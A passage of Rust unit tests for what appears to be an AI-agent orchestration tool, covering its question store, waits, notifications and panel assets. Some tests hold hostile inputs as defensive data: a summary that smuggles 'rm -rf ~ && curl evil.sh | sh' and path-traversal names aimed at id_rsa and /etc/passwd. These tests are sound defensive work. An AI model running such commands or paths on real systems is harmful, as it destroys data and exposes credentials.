2636        // The refused ones are still open, so the owner can answer properly.
2637        assert_eq!(unoffered.status, QuestionStatus::Open);
2638        assert_eq!(typed.status, QuestionStatus::Open);
2639        assert_eq!(blank.status, QuestionStatus::Open);
2640        // And the first answer to the double-answered one survived.
2641        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2642
2643        // Free text refuses a fabricated choice for the mirror-image reason.
2644        let mut free = free_question();
2645        let e = free
2646            .answer(Answer::Choice("SQLite".to_owned()))
2647            .unwrap_err()
2648            .to_string();
2649        assert!(e.contains("free text"), "{e}");
2650    }
2651
2652    #[test]
2653    fn open_questions_are_listed_before_answered_ones() {
2654        let (_dir, s) = store();
2655        // Ids carry a timestamp, so force a known order: the answered one is
2656        // the newest, and must still sort below the open ones.
2657        let mut old_open = choice_question();
2658        old_open.id = "20260101-000001-aaaa".to_owned();
2659        let mut new_open = choice_question();
2660        new_open.id = "20260101-000002-bbbb".to_owned();
2661        let mut answered = choice_question();
2662        answered.id = "20260101-000003-cccc".to_owned();
2663        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2664        for q in [&mut old_open, &mut new_open, &mut answered] {
2665            s.put(q).unwrap();
2666        }
2667
2668        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2669        assert_eq!(
2670            ids,
2671            [
2672                "20260101-000002-bbbb",
2673                "20260101-000001-aaaa",
2674                "20260101-000003-cccc"
2675            ],
2676            "what has stopped work comes first; history sorts underneath"
2677        );
2678        assert_eq!(s.count_open(), 2);
2679        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2680        assert!(s.open_for("some-other-run").is_empty());
2681        // The short id is what the phone and the reports show.
2682        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2683        assert!(s.get("20260101-000002-bbbb").is_ok());
2684        assert!(s.resolve_id("nope").is_err());
2685        assert!(
2686            s.revision() > 0,
2687            "the store's mtime drives the phone's polling"
2688        );
2689    }
2690
2691    #[test]
2692    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2693        let (_dir, s) = store();
2694        let mut good = choice_question();
2695        s.put(&mut good).unwrap();
2696        // Truncated by a killed writer, and written by a magi from the future.
2697        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2698        let future = serde_json::json!({
2699            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2700            "seat": "s", "summary": "?", "detail": "", "choices": [],
2701            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2702            "answered_at": null, "answer": null,
2703        });
2704        std::fs::write(
2705            s.path_of("20260101-000010-beef"),
2706            serde_json::to_string(&future).unwrap(),
2707        )
2708        .unwrap();
2709
2710        let listed = s.list();
2711        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2712        assert_eq!(listed[0].id, good.id);
2713        // Asked for by name, the unreadable one explains itself instead.
2714        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2715        assert!(e.contains("schema"), "{e}");
2716    }
2717
2718    #[tokio::test]
2719    async fn the_wait_returns_the_answer_another_process_wrote() {
2720        // The phone, `magi answer` and this run are three processes with no
2721        // channel between them: the file is the channel, so the wait has to see
2722        // a write it did not make. Sub-second timings keep this a real wait
2723        // without a real one's duration.
2724        let (dir, s) = store();
2725        let mut q = choice_question();
2726        let id = q.id.clone();
2727        let writer = Questions::at(dir.path().join("questions"));
2728        let handle = tokio::spawn(async move {
2729            tokio::time::sleep(Duration::from_millis(30)).await;
2730            let mut fresh = writer.get(&id).expect("the question was filed first");
2731            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2732            writer.put(&mut fresh).unwrap();
2733        });
2734
2735        let got = wait_for_owner(
2736            &mut q,
2737            &s,
2738            &quiet(),
2739            Duration::from_secs(5),
2740            Duration::from_millis(10),
2741        )
2742        .await
2743        .unwrap();
2744
2745        handle.await.unwrap();
2746        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2747        assert_eq!(
2748            q.status,
2749            QuestionStatus::Answered,
2750            "the caller's copy is refreshed from the answering process's record"
2751        );
2752        assert!(q.answered_at.is_some());
2753    }
2754
2755    #[tokio::test]
2756    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2757        let (_dir, s) = store();
2758        let mut q = choice_question();
2759
2760        let got = wait_for_owner(
2761            &mut q,
2762            &s,
2763            &quiet(),
2764            Duration::from_millis(60),
2765            Duration::from_millis(10),
2766        )
2767        .await
2768        .unwrap();
2769
2770        assert_eq!(
2771            got,
2772            Wait::Abandoned,
2773            "a slow human is not an error; the run parks"
2774        );
2775        assert_eq!(q.status, QuestionStatus::Abandoned);
2776        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2777        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2778        assert!(
2779            on_disk.detail.contains("Abandoned:"),
2780            "why nobody answered belongs with the question: {}",
2781            on_disk.detail
2782        );
2783        assert!(on_disk.resolution().is_none());
2784        assert_eq!(s.count_open(), 0);
2785    }
2786
2787    #[tokio::test]
2788    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2789        // This is the whole point of slicing: `timeout` (the real
2790        // `answer_timeout` budget) is far larger than `slice`, so the loop
2791        // must land on `slice` first and hand back `Pending` - not read the
2792        // silence so far as the owner having given up.
2793        let (_dir, s) = store();
2794        let mut q = choice_question();
2795        s.put(&mut q).unwrap();
2796
2797        let got = wait_loop(
2798            &mut q,
2799            &s,
2800            Duration::from_secs(3600),
2801            Duration::from_millis(30),
2802            Duration::from_millis(10),
2803        )
2804        .await
2805        .unwrap();
2806
2807        assert_eq!(
2808            got,
2809            Wait::Pending,
2810            "the clock on this call ran out, not the owner's patience"
2811        );
2812        assert_eq!(
2813            q.status,
2814            QuestionStatus::Open,
2815            "a slice expiring must never abandon the question"
2816        );
2817        let on_disk = s.get(&q.id).expect("still on disk, still open");
2818        assert_eq!(
2819            on_disk.status,
2820            QuestionStatus::Open,
2821            "nothing about the record changed just because this call gave up"
2822        );
2823    }
2824
2825    #[tokio::test]
2826    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2827        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2828        // and returns `Pending`, a second slice - a fresh call, exactly as a
2829        // fresh process would make - picks the same question back up and
2830        // sees an answer written in between.
2831        let (dir, s) = store();
2832        let mut q = choice_question();
2833        s.put(&mut q).unwrap();
2834
2835        let first = wait_loop(
2836            &mut q,
2837            &s,
2838            Duration::from_secs(3600),
2839            Duration::from_millis(30),
2840            Duration::from_millis(10),
2841        )
2842        .await
2843        .unwrap();
2844        assert_eq!(first, Wait::Pending);
2845
2846        let id = q.id.clone();
2847        let writer = Questions::at(dir.path().join("questions"));
2848        let mut fresh = writer.get(&id).unwrap();
2849        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2850        writer.put(&mut fresh).unwrap();
2851
2852        // `resume_wait` uses its own production poll interval rather than a
2853        // test-injected one, so the budget here only needs to be large enough
2854        // to cover one real poll tick - the point is that it is `resume_wait`
2855        // itself, not a helper, that finds the answer.
2856        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2857            .await
2858            .unwrap();
2859        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2860        assert_eq!(q.status, QuestionStatus::Answered);
2861    }
2862
2863    #[tokio::test]
2864    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2865        // The owner can speak back while nothing is running at all - between
2866        // one call reporting `Wait::Pending` and the next `--wait` picking
2867        // the question back up - and whoever resumes the wait loads a
2868        // *fresh* copy of the question off disk, one whose thread already
2869        // contains that reply. A baseline taken from that fresh copy would
2870        // treat the reply as pre-existing and never notice it "arrive",
2871        // leaving the agent polling in silence until `answer_timeout`
2872        // eventually abandons the question - replacing the exact accident
2873        // this feature exists to fix with a quieter version of itself.
2874        let (dir, s) = store();
2875        let mut q = choice_question();
2876        s.put(&mut q).unwrap();
2877
2878        let first = wait_loop(
2879            &mut q,
2880            &s,
2881            Duration::from_secs(3600),
2882            Duration::from_millis(30),
2883            Duration::from_millis(10),
2884        )
2885        .await
2886        .unwrap();
2887        assert_eq!(first, Wait::Pending);
2888
2889        // The owner speaks back during the gap, with nobody running yet.
2890        let id = q.id.clone();
2891        let writer = Questions::at(dir.path().join("questions"));
2892        let mut fresh = writer.get(&id).unwrap();
2893        fresh.say("why not Postgres?").unwrap();
2894        writer.put(&mut fresh).unwrap();
2895
2896        // `magi ask --wait` re-reads the question rather than reusing the
2897        // stale in-memory copy the earlier call held - so the copy handed to
2898        // `resume_wait` here already carries the reply, same as `fresh` above.
2899        let mut resumed = s.get(&id).unwrap();
2900        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2901            .await
2902            .unwrap();
2903        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2904        assert_eq!(
2905            resumed.status,
2906            QuestionStatus::Open,
2907            "talking back is not a decision; the question stays open"
2908        );
2909    }
2910
2911    #[tokio::test]
2912    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2913        // A broken webhook must not throw away an implementation, so the wait
2914        // reports the failure and carries on. `notify` itself still says what
2915        // went wrong, because `magi notify --test` has to be able to show it.
2916        let (dir, s) = store();
2917        let broken = config::Notify {
2918            command: vec![
2919                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2920                "{summary}".to_owned(),
2921            ],
2922        };
2923        let mut q = choice_question();
2924        assert!(
2925            notify(&broken, &q).await.is_err(),
2926            "the caller is told; it decides that it does not matter"
2927        );
2928
2929        let id = q.id.clone();
2930        let writer = Questions::at(dir.path().join("questions"));
2931        let handle = tokio::spawn(async move {
2932            tokio::time::sleep(Duration::from_millis(30)).await;
2933            let mut fresh = writer.get(&id).unwrap();
2934            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2935            writer.put(&mut fresh).unwrap();
2936        });
2937        let got = wait_for_owner(
2938            &mut q,
2939            &s,
2940            &broken,
2941            Duration::from_secs(5),
2942            Duration::from_millis(10),
2943        )
2944        .await
2945        .unwrap();
2946        handle.await.unwrap();
2947        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2948
2949        // No command at all is the default, and is silence rather than failure.
2950        assert!(notify(&quiet(), &q).await.is_ok());
2951        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2952    }
2953
2954    #[tokio::test]
2955    async fn external_question_notification_names_the_supported_response_path() {
2956        let dir = tempfile::tempdir().unwrap();
2957        let path = dir.path().join("page");
2958        let cmd = config::Notify {
2959            command: vec![
2960                "sh".into(),
2961                "-c".into(),
2962                "printf '%s' \"$1\" > \"$2\"".into(),
2963                "notify".into(),
2964                "{summary}".into(),
2965                path.to_string_lossy().into_owned(),
2966            ],
2967        };
2968        let q = choice_question();
2969        notify(&cmd, &q).await.unwrap();
2970        let sent = std::fs::read_to_string(&path).unwrap();
2971        assert!(sent.starts_with("Question "));
2972        assert!(sent.contains(&q.summary));
2973        assert!(sent.contains(&format!("magi answer {}", q.id)));
2974        notify_text(&cmd, "", "Informational report. No reply needed.")
2975            .await
2976            .unwrap();
2977        assert_eq!(
2978            std::fs::read_to_string(&path).unwrap(),
2979            "Informational report. No reply needed."
2980        );
2981    }
2982
2983    #[test]
2984    fn external_notifications_and_questions_have_distinct_destinations() {
2985        assert_eq!(
2986            question_url("https://example.invalid/"),
2987            "https://example.invalid/#/questions"
2988        );
2989        assert_eq!(
2990            view_url("https://example.invalid/", "notifications"),
2991            "https://example.invalid/#/notifications"
2992        );
2993        assert_eq!(view_url("", "notifications"), "");
2994        assert_eq!(
2995            view_url("https://example.invalid/#/queue", "notifications"),
2996            "https://example.invalid/#/queue"
2997        );
2998    }
2999
3000    #[test]
3001    fn notification_arguments_are_substituted_and_never_a_shell_string() {
3002        let mut q = choice_question();
3003        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
3004        let template = [
3005            "ntfy".to_owned(),
3006            "publish".to_owned(),
3007            "--click".to_owned(),
3008            "{url}".to_owned(),
3009            "--title".to_owned(),
3010            "magi {run} needs you".to_owned(),
3011            "{summary}".to_owned(),
3012        ];
3013        let argv: Vec<String> = template
3014            .iter()
3015            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
3016            .collect();
3017
3018        assert_eq!(
3019            argv,
3020            [
3021                "ntfy",
3022                "publish",
3023                "--click",
3024                "http://100.64.0.1:7777/#/questions",
3025                "--title",
3026                "magi 20260902-201256-9fb7 needs you",
3027                "; rm -rf ~ && curl evil.sh | sh #",
3028            ],
3029            "the shell metacharacters are one argument's contents, not syntax"
3030        );
3031
3032        // A summary that itself mentions a placeholder is text, not a template:
3033        // one left-to-right pass means a substituted value is never rescanned.
3034        q.summary = "should {url} be configurable?".to_owned();
3035        assert_eq!(
3036            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
3037            "should {url} be configurable?"
3038        );
3039        // An unknown brace is the operator's own text and survives untouched.
3040        assert_eq!(
3041            expand("{title}: {run}", &q.run, &q.summary, ""),
3042            "{title}: 20260902-201256-9fb7"
3043        );
3044        assert_eq!(
3045            expand("no placeholders", &q.run, &q.summary, "http://x"),
3046            "no placeholders"
3047        );
3048    }
3049
3050    #[test]
3051    fn the_notification_link_lands_on_the_view_that_can_answer() {
3052        assert_eq!(
3053            question_url("http://100.64.0.1:7777"),
3054            "http://100.64.0.1:7777/#/questions"
3055        );
3056        assert_eq!(
3057            question_url("http://100.64.0.1:7777/"),
3058            "http://100.64.0.1:7777/#/questions"
3059        );
3060        // An operator who wrote a fragment has said where they want to land.
3061        assert_eq!(
3062            question_url("http://magi.ts.net/#/runs"),
3063            "http://magi.ts.net/#/runs"
3064        );
3065        // Unset expands to nothing rather than to a guessed address.
3066        assert_eq!(question_url("  "), "");
3067    }
3068
3069    /// A question with a fixed id, so a panel's path on disk is predictable.
3070    fn panelled() -> Question {
3071        let mut q = choice_question();
3072        q.id = "20260903-014455-ab12".to_owned();
3073        q
3074    }
3075
3076    #[test]
3077    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
3078        let (dir, s) = store();
3079        let work = dir.path().join("worktree");
3080        std::fs::create_dir_all(&work).unwrap();
3081        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
3082        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
3083
3084        let mut q = panelled();
3085        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
3086        s.put_panel(
3087            &mut q,
3088            html,
3089            &[work.join("table.png"), work.join("diff.svg")],
3090        )
3091        .unwrap();
3092        s.put(&mut q).unwrap();
3093
3094        assert!(q.panel);
3095        assert_eq!(
3096            q.assets,
3097            ["diff.svg", "table.png"],
3098            "sorted, not in the order the agent happened to pass them"
3099        );
3100        assert_eq!(
3101            s.panel_html(&q.id).as_deref(),
3102            Some(html),
3103            "the html is stored byte for byte; the agent authored the markup"
3104        );
3105        assert_eq!(
3106            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
3107            Some(&b"<svg/>"[..])
3108        );
3109
3110        // The record on disk carries the same two fields the front end reads.
3111        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
3112        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
3113        assert_eq!(json["panel"], true);
3114        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
3115        let back = s.get(&q.id).unwrap();
3116        assert!(back.panel);
3117        assert_eq!(back.assets, q.assets);
3118
3119        // The assets were copied, so the panel still renders after `magi fold`
3120        // has deleted the candidate worktree the agent authored it in.
3121        std::fs::remove_dir_all(&work).unwrap();
3122        assert_eq!(
3123            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
3124            Some(&b"\x89PNG"[..]),
3125            "a referenced asset would be gone with the worktree"
3126        );
3127    }
3128
3129    #[test]
3130    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
3131        let (dir, s) = store();
3132        let mut q = panelled();
3133        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
3134        s.put(&mut q).unwrap();
3135
3136        // A file exactly one level up from the panel directory - which is
3137        // where `..` lands - holding content a read would make visible.
3138        let secret = "this must never reach the browser";
3139        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
3140        assert_eq!(
3141            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
3142            secret,
3143            "the traversal is real: the operating system resolves this path \
3144             happily, which is why the name has to be refused before the join"
3145        );
3146
3147        let long = "x".repeat(200);
3148        for name in [
3149            "..",
3150            "../id_rsa",
3151            "..\\id_rsa",
3152            "sub/../id_rsa",
3153            "/",
3154            "\\",
3155            "/etc/passwd",
3156            "C:\\Windows\\win.ini",
3157            "",
3158            ".hidden",
3159            ".",
3160            long.as_str(),
3161        ] {
3162            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3163            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3164            assert!(
3165                e.contains("not a panel file name"),
3166                "`{name}` must be refused as a name, not attempted: {e}"
3167            );
3168            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3169        }
3170        // A name that is allowed still finds its file, so the refusals above
3171        // were the rule at work and not a store that reads nothing.
3172        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3173
3174        // The same rule on the write side, where the name comes from a source
3175        // file's base name, and a refusal leaves the stored panel untouched.
3176        let hidden = dir.path().join(".hidden");
3177        std::fs::write(&hidden, "x").unwrap();
3178        let e = s
3179            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3180            .unwrap_err()
3181            .to_string();
3182        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3183        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3184        assert!(q.assets.is_empty());
3185    }
3186
3187    #[test]
3188    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3189        let (dir, s) = store();
3190        let mut q = panelled();
3191        s.put(&mut q).unwrap();
3192
3193        // Sized rather than filled: the cap reads the file's length, and a
3194        // test that actually produced eight mebibytes would only be slower.
3195        let big = dir.path().join("recording.png");
3196        std::fs::File::create(&big)
3197            .unwrap()
3198            .set_len(PANEL_MAX_BYTES)
3199            .unwrap();
3200
3201        let html = "<p>see the recording</p>";
3202        let total = PANEL_MAX_BYTES + html.len() as u64;
3203        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3204        assert!(
3205            e.contains(&PANEL_MAX_BYTES.to_string()),
3206            "the cap is named so the agent knows the limit: {e}"
3207        );
3208        assert!(
3209            e.contains(&total.to_string()),
3210            "the actual size is named so the agent knows by how much: {e}"
3211        );
3212
3213        assert!(!q.panel);
3214        assert!(q.assets.is_empty());
3215        let left: Vec<String> = std::fs::read_dir(s.root())
3216            .unwrap()
3217            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3218            .collect();
3219        assert_eq!(
3220            left,
3221            [format!("{}.json", q.id)],
3222            "a refused panel leaves neither a directory nor scratch: {left:?}"
3223        );
3224    }
3225
3226    #[test]
3227    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3228        let (dir, s) = store();
3229        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3230        std::fs::create_dir_all(&before).unwrap();
3231        std::fs::create_dir_all(&after).unwrap();
3232        std::fs::write(before.join("diff.png"), "before").unwrap();
3233        std::fs::write(after.join("diff.png"), "after").unwrap();
3234
3235        let mut q = panelled();
3236        let e = s
3237            .put_panel(
3238                &mut q,
3239                "<p>x</p>",
3240                &[before.join("diff.png"), after.join("diff.png")],
3241            )
3242            .unwrap_err()
3243            .to_string();
3244        assert!(e.contains("diff.png"), "{e}");
3245        assert!(
3246            e.contains("before") && e.contains("after"),
3247            "both sources are named, because the fix is to rename one: {e}"
3248        );
3249        assert!(!q.panel);
3250        assert!(!s.panel_dir(&q.id).exists());
3251    }
3252
3253    #[test]
3254    fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3255        let (_dir, s) = store();
3256        let barrier = std::sync::Barrier::new(8);
3257        let ids = std::thread::scope(|scope| {
3258            let handles: Vec<_> = (0..8)
3259                .map(|worker| {
3260                    let s = &s;
3261                    let barrier = &barrier;
3262                    scope.spawn(move || {
3263                        barrier.wait();
3264                        (0..16)
3265                            .map(|index| {
3266                                let mut q = choice_question();
3267                                // Reproduce both the old four-digit collision
3268                                // and a clock returning identical entropy.
3269                                q.id = new_id_at("20261020-224346", 0xf8ef);
3270                                q.summary = format!("worker {worker}, question {index}");
3271                                assert!(valid_asset_name(&q.id));
3272                                assert_eq!(q.short(), "f8ef");
3273                                let html = format!("<p>{}</p>", q.summary);
3274                                s.put_panel(&mut q, &html, &[]).unwrap();
3275                                s.put(&mut q).unwrap();
3276                                (q.id, q.summary, html)
3277                            })
3278                            .collect::<Vec<_>>()
3279                    })
3280                })
3281                .collect();
3282            handles
3283                .into_iter()
3284                .flat_map(|handle| handle.join().unwrap())
3285                .collect::<Vec<_>>()
3286        });
3287        assert_eq!(s.list().len(), ids.len());
3288        for (id, summary, html) in ids {
3289            assert_eq!(s.get(&id).unwrap().summary, summary);
3290            assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3291        }
3292    }
3293
3294    #[test]
3295    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3296        let (dir, s) = store();
3297        std::fs::write(dir.path().join("old.png"), "old").unwrap();
3298        std::fs::write(dir.path().join("new.png"), "new").unwrap();
3299
3300        let mut q = panelled();
3301        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3302            .unwrap();
3303        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3304            .unwrap();
3305
3306        assert_eq!(q.assets, ["new.png"]);
3307        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3308        assert!(
3309            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3310            "an asset from the first attempt would show a mix of two answers"
3311        );
3312
3313        s.drop_panel(&q.id).unwrap();
3314        assert!(s.panel_html(&q.id).is_none());
3315        assert!(!s.panel_dir(&q.id).exists());
3316        s.drop_panel(&q.id)
3317            .expect("dropping a panel that is already gone is the desired state");
3318    }
3319
3320    #[test]
3321    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3322        let (_dir, s) = store();
3323        let mut q = panelled();
3324        s.put(&mut q).unwrap();
3325
3326        assert!(!q.panel);
3327        assert!(s.panel_html(&q.id).is_none());
3328        assert!(
3329            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3330            "a missing file is a 404 for the caller, not a failure of the store"
3331        );
3332        let json = serde_json::to_value(&q).unwrap();
3333        assert_eq!(json["panel"], false);
3334        assert_eq!(json["assets"], serde_json::json!([]));
3335
3336        // And an empty panel is refused, because an empty frame reads to the
3337        // owner as "the agent had nothing to say".
3338        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
3339        assert!(e.contains("empty panel"), "{e}");
3340        assert!(!s.panel_dir(&q.id).exists());
3341    }
3342
3343    #[test]
3344    fn a_question_written_before_panels_existed_still_deserialises() {
3345        let (_dir, s) = store();
3346        std::fs::create_dir_all(s.root()).unwrap();
3347        let id = "20260902-231501-ab12";
3348        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
3349        let body = r#"{
3350  "schema": 1,
3351  "id": "20260902-231501-ab12",
3352  "run": "20260902-201256-9fb7",
3353  "node": "implement",
3354  "seat": "impl-A",
3355  "summary": "Which storage backend should the cache use?",
3356  "detail": "Both are already dependencies.",
3357  "choices": ["SQLite", "Redis"],
3358  "status": "open",
3359  "asked_at": "2026-09-02T23:15:01Z",
3360  "answered_at": null,
3361  "answer": null
3362}"#;
3363        std::fs::write(s.path_of(id), body).unwrap();
3364
3365        let q = s.get(id).unwrap();
3366        assert!(
3367            !q.panel,
3368            "an absent field means no panel, not a parse error"
3369        );
3370        assert!(q.assets.is_empty());
3371        // Schema 1 predates `thread` entirely - not merely predates it having
3372        // any turns - and this build now speaks schema 3. Reading it must not
3373        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
3374        // accepted and the missing field defaults to no conversation yet.
3375        assert_eq!(q.schema, 1);
3376        assert!(q.thread.is_empty());
3377        assert_eq!(
3378            q.answer_timeout, 0,
3379            "an absent field means unrecorded, not a zero-second deadline"
3380        );
3381        assert!(!q.waiting_on_agent());
3382        assert_eq!(q.summary, "Which storage backend should the cache use?");
3383        assert_eq!(
3384            s.list().len(),
3385            1,
3386            "and it is still listed; skipping it would hide an open question"
3387        );
3388    }
3389
3390    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3391        Turn {
3392            who,
3393            body: body.to_owned(),
3394            at,
3395            note: None,
3396        }
3397    }
3398
3399    #[test]
3400    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3401        // The phone reads this shape by hand, same as the question itself: a
3402        // rename here is a card that silently drops every message in it.
3403        let mut q = choice_question();
3404        q.thread
3405            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3406        let value = serde_json::to_value(&q.thread[0]).unwrap();
3407        let mut keys: Vec<&str> = value
3408            .as_object()
3409            .unwrap()
3410            .keys()
3411            .map(String::as_str)
3412            .collect();
3413        keys.sort_unstable();
3414        assert_eq!(keys, ["at", "body", "who"]);
3415        assert_eq!(value["who"], "operator");
3416        assert_eq!(value["body"], "why not Postgres?");
3417
3418        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3419        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3420        assert_eq!(parsed.who, Who::Agent);
3421    }
3422
3423    fn approval_question() -> Question {
3424        let mut q = Question::new(
3425            "run".into(),
3426            crate::land::APPROVAL_NODE.into(),
3427            "land".into(),
3428            "Merge?".into(),
3429            String::new(),
3430            vec!["merge".into(), "hold".into()],
3431        );
3432        let mut dep = Deputy::new("brief".into());
3433        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3434        q.deputy = Some(dep);
3435        q
3436    }
3437
3438    #[test]
3439    fn a_deputy_settles_merge_and_recovery_on_the_owners_words_without_a_quote() {
3440        let target = || crate::merge_decision::Target {
3441            pr: "PR 42".into(),
3442            head: "abc".into(),
3443            language: "en".into(),
3444        };
3445        // A merge among other requests: the deputy's reading is the authority.
3446        let mut q = approval_question();
3447        q.merge_target = Some(target());
3448        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3449            .unwrap();
3450        q.settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3451            .unwrap();
3452        assert_eq!(q.resolution().as_deref(), Some(crate::land::APPROVE));
3453        assert_eq!(q.merge_target, Some(target()), "the merge stays head-bound");
3454        // Recovery and stop choices need no exact token either.
3455        for choice in [
3456            crate::land::HOLD,
3457            crate::land::REPAIR,
3458            crate::merge_decision::WITHDRAW,
3459            "reimplement:beta",
3460        ] {
3461            let mut q = approval_question();
3462            q.choices = vec![crate::land::APPROVE.into(), choice.into()];
3463            q.merge_target = Some(target());
3464            q.say("ちょっと待って、そっちでお願い").unwrap();
3465            q.settle_by_deputy("deputy-x", choice, Some("owner chose this"))
3466                .unwrap();
3467            assert_eq!(q.resolution().as_deref(), Some(choice));
3468        }
3469        // A local release approval settles the same way.
3470        let mut release = Question::new(
3471            String::new(),
3472            crate::bump::NOTICE_NODE.into(),
3473            "release-watch".into(),
3474            "Release?".into(),
3475            String::new(),
3476            vec![crate::land::APPROVE.into(), crate::land::HOLD.into()],
3477        );
3478        release.deputy = approval_question().deputy;
3479        release.say("リリースしていいよ").unwrap();
3480        release
3481            .settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3482            .unwrap();
3483        assert_eq!(release.resolution().as_deref(), Some(crate::land::APPROVE));
3484    }
3485
3486    #[test]
3487    fn a_deputy_settles_posting_and_destructive_choices_without_a_quote() {
3488        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3489        for choice in [POST_ORIGINAL, USE_REWRITE] {
3490            let mut q = Question::new(
3491                "run".into(),
3492                ASK_NODE.into(),
3493                ASK_SEAT.into(),
3494                "s".into(),
3495                String::new(),
3496                vec![USE_FALLBACK.into(), choice.into()],
3497            );
3498            q.deputy = approval_question().deputy;
3499            q.say("それでいいよ、投稿して").unwrap();
3500            q.settle_by_deputy("deputy-x", choice, None).unwrap();
3501            assert_eq!(q.resolution().as_deref(), Some(choice));
3502        }
3503        let mut discard = approval_question();
3504        discard.node = "recovery".into();
3505        discard.choices.push("discard".into());
3506        discard.actions.insert("discard".into(), ChoiceAction::Done);
3507        discard.say("おっけーそれぞれ回答してー").unwrap();
3508        discard
3509            .settle_by_deputy("deputy-x", "discard", None)
3510            .unwrap();
3511        assert_eq!(discard.chosen_action(), Some(&ChoiceAction::Done));
3512    }
3513
3514    #[test]
3515    fn hold_may_carry_the_hold_effect_but_no_other_action() {
3516        let mut q = choice_question();
3517        q.choices = vec![crate::land::HOLD.into(), "finish".into()];
3518        q.actions
3519            .insert(crate::land::HOLD.into(), ChoiceAction::Hold);
3520        q.clone()
3521            .answer(Answer::Choice(crate::land::HOLD.into()))
3522            .unwrap();
3523        q.actions
3524            .insert(crate::land::HOLD.into(), ChoiceAction::Done);
3525        assert!(q.answer(Answer::Choice(crate::land::HOLD.into())).is_err());
3526    }
3527
3528    fn settle_ready() -> Question {
3529        let mut q = Question::new(
3530            "task".to_owned(),
3531            "conduct".to_owned(),
3532            "conduct".to_owned(),
3533            "Done?".to_owned(),
3534            String::new(),
3535            vec!["yes".to_owned(), "no".to_owned()],
3536        );
3537        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3538        seat.turns = 1;
